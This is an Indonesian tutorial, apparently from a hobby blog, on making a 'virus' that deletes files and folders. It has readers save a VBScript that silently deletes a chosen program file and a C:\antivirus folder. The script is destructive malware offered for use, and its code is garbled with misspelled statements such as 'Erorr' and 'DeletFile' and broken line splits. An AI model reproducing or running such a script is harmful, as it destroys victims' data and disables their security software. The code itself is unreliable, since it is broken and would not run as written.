Cara Membuat Virus Penghapus File dan Folder

Hmmm...kali ini kita akan membuat virus yang sedikit serius, kok gitu? ya iyalah, kan virusnya bisa menghapus sebuah folder dan file yang kita inginkan, ihh seremm....^_^

1. Buka notepad lagi
2. Copykan kode berikut

On Erorr Resume Next
set hapus=
CreateObject("Scripting.FileSystemObject")
hapus.DeletFile
"C:\xxx.exe"
+(menghapus file xxx.exe di directori C:\)+
hapusDeletFolder
"C:\antivirus"
+'(menghapus folder antivirus di directory C:\)+

Contoh :

On Erorr Resume Next
set hapus=
CreateObject("Scripting.FileSystemObject")
hapus.DeletFile
"C:\ProgramFiles\Windows Media Player\wmplayer.exe"
hapus.DeletFolder
"C:\antivirus"

3. Save dengan format all file dan ekstens .vbs